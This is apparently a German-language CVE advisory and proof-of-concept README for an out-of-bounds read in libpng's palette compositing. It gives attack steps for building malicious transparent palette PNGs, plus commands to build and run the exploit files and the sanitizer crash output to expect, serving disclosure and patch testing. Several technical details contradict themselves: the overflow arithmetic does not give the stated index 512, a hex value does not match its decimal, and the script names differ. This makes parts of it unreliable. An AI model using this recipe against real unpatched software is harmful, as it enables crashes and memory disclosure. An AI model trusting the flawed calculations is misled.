CVE-2025-64720: Pufferüberlauf in libpng bei der Paletten-Premultiplikation

Status: Behoben
Schweregrad: Hoch
CVE-ID: CVE-2025-64720
Entdeckungsdatum: 2025-11-XX
Öffentliche Offenlegung: 2025-11-21

Überblick

Zusammenfassung

Eine Sicherheitslücke durch Lesen außerhalb der Grenzen (Out-of-Bounds-Read) existiert in libpngs png_image_read_composite-Funktion, wenn Palettenbilder mit aktiviertem PNG_FLAG_OPTIMIZE_ALPHA verarbeitet werden. Der Paletten-Compositing-Code in png_init_read_transformations wendet während der Premultiplikation fälschlicherweise Hintergrund-Compositing an und verletzt dabei die von der vereinfachten PNG-API geforderte Invariante component ≤ alpha × 257, was zu Speicherkorruption führt.

Details zur Sicherheitslücke

Grundursache

In png_init_read_transformations in Zeile ~1336 führt der Paletten-Expansionscode Folgendes aus:

component += (255-alpha)*png_sRGB_table[outrow[c]];

Diese Berechnung erzeugt component-Werte von bis zu 16.776.960 (0x1000800), wobei (component >> 15) == 512 gilt. Das anschließende PNG_sRGB_FROM_LINEAR-Makro in png_image_read_composite führt einen Array-Zugriff außerhalb der Grenzen aus:

png_sRGB_base[component>>15]    // Accesses png_sRGB_base[512]
png_sRGB_delta[component>>15]   // Accesses png_sRGB_delta[512]
// Both arrays have indices 0-511 only (size 512)

Das Problem tritt auf, wenn:

1. PNG den Palettenmodus (Farbtyp 3) mit Transparenz (tRNS-Chunk) verwendet
2. Die Anwendung die vereinfachte API mit einem alphafähigen Format verwendet
3. PNG_FLAG_OPTIMIZE_ALPHA intern aktiviert ist
4. Die Palettenexpansion eine Premultiplikation mit Hintergrund-Compositing durchführt

Verwundbare Komponente

• Datei: pngread.c, pngtrans.c
• Funktionen: png_image_read_composite, png_init_read_transformations
• Codepfad: Vereinfachte API → Palettenexpansion mit Alpha-Optimierung

Verletzung der Invariante

Expected: component ≤ alpha × 257
         Ensures (component >> 15) ≤ 511 (within array bounds)

Actual:   component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
         With alpha=0, RGB=255: component can exceed expected bounds
         
Result:   (component >> 15) can equal 512 (out of bounds access)

Betroffene Versionen

Verwundbare Versionen

• Software: libpng
• Versionen: Alle Versionen < 1.6.51
• Plattformen: Linux, Windows, macOS, BSD usw.
• Architekturen: x86, x64, ARM, ARM64 usw.

Behobene Versionen

• Erste behobene Version: 1.6.51
• Veröffentlichungsdatum: 2025-11-21
• Patch-Commit: 08da33b

Versionserkennung

# Method 1: pkg-config
pkg-config --modversion libpng

# Method 2: Direct library query
libpng-config --version

# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"

# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h

Technische Analyse

Angriffsvektor

Ein Angreifer kann diese Sicherheitslücke ausnutzen, indem er eine bösartige PNG-Datei mit bestimmten Eigenschaften erstellt:

1. Angriffsvoraussetzungen:

   • Die Zielanwendung verwendet libpng < 1.6.51
   • Die Anwendung verwendet die vereinfachte PNG-API (png_image_*-Funktionen)
   • Die Anwendung fordert ein alphafähiges Ausgabeformat an (z. B. RGBA, ARGB)

2. Angriffsschritte:

   • Eine Paletten-PNG (Farbtyp 3) mit tRNS-Chunk erstellen
   • Paletteneinträge auf maximale RGB-Werte (255, 255, 255) setzen
   • Alpha-Werte für mehrere Paletteneinträge auf Null setzen
   • Die Opferanwendung verarbeitet die PNG mit Alpha-Format
   • PNG_FLAG_OPTIMIZE_ALPHA wird intern aktiviert
   • Die Palettenexpansion verletzt die Component-Invariante
   • Es kommt zu einem Array-Zugriff außerhalb der Grenzen

3. Angriffsergebnis:

   • Out-of-Bounds-Read aus png_sRGB_base oder png_sRGB_delta
   • Speicherkorruption führt zu Heap-Use-after-Free
   • Absturz der Anwendung (Denial of Service)
   • Mögliche Offenlegung von Informationen durch OOB-Read

Speicherlayout

┌─────────────────┐
│ png_sRGB_base   │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access]    │  Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta  │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │  Potential information disclosure
└─────────────────┘

Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]

When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)

Auslösebedingungen

Erforderliche Bedingungen:

• PNG-Farbtyp 3 (indiziert/Palette)
• tRNS-Chunk vorhanden (Transparenz)
• Alpha-Werte von 0 im tRNS-Chunk
• Hohe RGB-Werte in der Palette (insbesondere 255, 255, 255)
• Verwendung der vereinfachten API (png_image_finish_read)
• Alphafähiges Format (PNG_FORMAT_ARGB, PNG_FORMAT_RGBA mit Flags)

Optionale Faktoren:

• Format mit PNG_FORMAT_FLAG_AFIRST erhöht die Wahrscheinlichkeit eines Absturzes
• Größere Bilder bieten mehr Gelegenheiten, den Fehler auszulösen
• Mehrere Paletteneinträge mit Alpha Null erhöhen die Zuverlässigkeit

Nicht-auslösende Bedingungen:

• libpng >= 1.6.51 (behoben)
• PNG_FORMAT_RGBA ohne zusätzliche Flags (manchmal sicher)
• Nicht-Paletten-Farbtypen (RGB, Graustufen usw.)
• Palette ohne Transparenz
• Alle Alpha-Werte = 255 (vollständig deckend)

Proof of Concept

Schnellstart

# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# Generate images
python3 generate-images.py

# Build test
chmod +x build.sh
./build.sh

# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png

PoC-Komponenten

1. Exploit-Generator (generate-images.py)

Erzeugt bösartige PNG-Dateien, die die Sicherheitslücke auslösen.

Verwendung:

python3 generate_poc.py

Ausgabe:

• exploit_v1.png – 8x8-Bild, einheitliche weiße Palette, Alpha null
• exploit_v2.png – 8x8-Bild, strategische Palettenvariation
• exploit_v3.png – 64x64-Bild, groß mit wiederholten Mustern
• exploit_v4.png – 4x4-Bild, Minimalfall mit durchgehend Alpha null

Optionen:

# Generate specific variant
generate_malicious_png('custom.png', variant=2)

# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow

2. Test (test.c)

Verarbeitet PNG-Dateien mithilfe der vereinfachten API und demonstriert die Sicherheitslücke.

Kompilierung:

# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer

# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0

# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0

# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline

Funktionen:

• Testet mehrere alphafähige Formate (RGBA, ARGB, LINEAR_RGB_ALPHA)
• Zeigt die libpng-Version und den Verwundbarkeitsstatus an
• Zeigt die ersten Pixelwerte zur Verifizierung an
• Umfassende Fehlerbehandlung

Erwartete Ausgabe

Auf verwundbarer Version (libpng 1.6.36):

libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 0x000102b4da24 in png_safe_execute pngerror.c:944
    #1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
    #2 0x000102b34ecc in test_png test.c:64
    #3 0x000102b35410 in main test.c:97

0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
    #0 0x000103245480 in free+0x7c
    #1 0x000102b566b4 in png_free_default pngmem.c:252
    [Stack trace continues...]

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING

Auf behobener Version (libpng >= 1.6.51):

libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

=== All tests completed ===

Auswirkungen

Bestätigte Auswirkungen

• Denial of Service: Zuverlässiger Absturz der Anwendung bei der Verarbeitung bösartiger PNG-Dateien
• Speicherkorruption: Heap-Use-after-Free durch OOB-Read, der den internen Zustand beschädigt
• Offenlegung von Informationen: Mögliches Auslesen benachbarter Speicherinhalte durch OOB-Read

Mögliche Auswirkungen

• Remote Code Execution: Theoretisch möglich, wenn die Speicherkorruption kontrolliert werden kann, allerdings nicht demonstriert
• Browser-Ausnutzung: Webbrowser, die eine verwundbare libpng verwenden, könnten beim Besuch bösartiger Websites abstürzen

Schritt-für-Schritt-Reproduktion

Schritt 1: Exploit generieren

python3 generate_poc.py

Erwartete Ausgabe:

======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
    Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
    Size: 356 bytes, Dimensions: 4x4

[+] Enhanced test program: test.c
[+] Build script: build.sh

Schritt 2: Test kompilieren

chmod +x build.sh
./build.sh

Erwartete Ausgabe:

[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...

[+] Build complete. Executables:
-rwxr-xr-x  1 user  staff  95KB test_asan
-rwxr-xr-x  1 user  staff  87KB test_ubsan
-rwxr-xr-x  1 user  staff  72KB test_debug
-rwxr-xr-x  1 user  staff  72KB test_valgrind

Schritt 3: Exploit ausführen

./test_asan exploit_v1.png

Erwartetes Ergebnis (verwundbar – libpng 1.6.36):

libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 png_safe_execute pngerror.c:944
    #1 png_image_finish_read pngread.c:4184
    #2 test_png test.c:64
    #3 main test.c:97

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING

Erwartetes Ergebnis (behoben – libpng >= 1.6.51):

libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]

Alternative Testmethoden

Mit Valgrind

gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
         ./test exploit_v1.png

Erwartete Ausgabe (verwundbar):

==12345== Invalid read of size 8
==12345==    at 0x...: png_safe_execute (pngerror.c:944)
==12345==    by 0x...: png_image_finish_read (pngread.c:4184)
==12345==  Address 0x... is 16 bytes inside a block of size 48 free'd

Mit GDB

gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash

(gdb) bt
# Shows backtrace with png_safe_execute at top

(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash

Mit LLDB (macOS M1-M4)

lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash

(lldb) bt
# Shows backtrace

(lldb) register read
(lldb) memory read -c 32 -- $sp

Referenzen

Offizielle Quellen

• Herstellerhinweis: http://www.libpng.org/pub/png/libpng.html
• CVE-Eintrag: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-64720
• NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2025-64720
• libpng-Startseite: http://www.libpng.org/pub/png/libpng.html

Technische Details

• Fehlerbericht: https://github.com/pnggroup/libpng/issues/686
• Patch-Commit: https://github.com/pnggroup/libpng/commit/08da33b
• Pull-Request: https://github.com/pnggroup/libpng/pull/751
• Versionshinweise: https://github.com/pnggroup/libpng/blob/libpng16/CHANGES

Verwandte Sicherheitslücken

• CVE-2025-64505: Heap-Pufferüberlauf in png_do_quantize() durch fehlerhaften Palettenindex
• CVE-2025-64506: Heap-Pufferüberlesen in png_write_image_8bit()
• CVE-2025-65018: Heap-Pufferüberlauf in png_combine_row()
• CVE-2019-7317: Use-after-Free in png_image_free() (libpng < 1.6.37)

Danksagungen

Entdeckung

• Samsung-PENTEST – Sicherheitsforscher
• weijinjinnihao – Sicherheitsforscher
• yosiimich – Sicherheitsforscher

Analyse & Behebung

• Fabio Gritti (Artiphishell) – Triage und Analyse
• John Bowler – libpng-Entwickler, Mitwirkender an der Fehlerbehebung
• Cosmin Truta – libpng-Maintainer, Implementierung des Patches

Tests

• truediogo – Entwicklung und Validierung des PoC

Rechtliche & ethische Hinweise

Haftungsausschluss

⚠️ WICHTIG: Dieser PoC dient ausschließlich Bildungs- und Forschungszwecken.

• Dieser Code ist bestimmt für:

  • Sicherheitsforschung
  • Bewertung der Sicherheitslücken von Systemen, die Ihnen gehören
  • Akademische Studien
  • Entwicklung von Verteidigungsmaßnahmen
  • Überprüfung von Patches

• Dieser Code ist NICHT bestimmt für:

  • Unbefugten Zugriff auf Systeme
  • Böswillige Angriffe
  • Verursachen von Schaden oder Schädigung
  • Illegale Aktivitäten
  • Ausnutzung ohne Erlaubnis

Durch die Verwendung dieses Codes stimmen Sie Folgendem zu:

1. Verwenden Sie ihn nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testberechtigung haben
2. Halten Sie alle geltenden Gesetze und Vorschriften ein
3. Übernehmen Sie die volle Verantwortung für Ihre Handlungen
4. Machen Sie die Autoren nicht für Missbrauch haftbar
5. Befolgen Sie Praktiken der verantwortungsvollen Offenlegung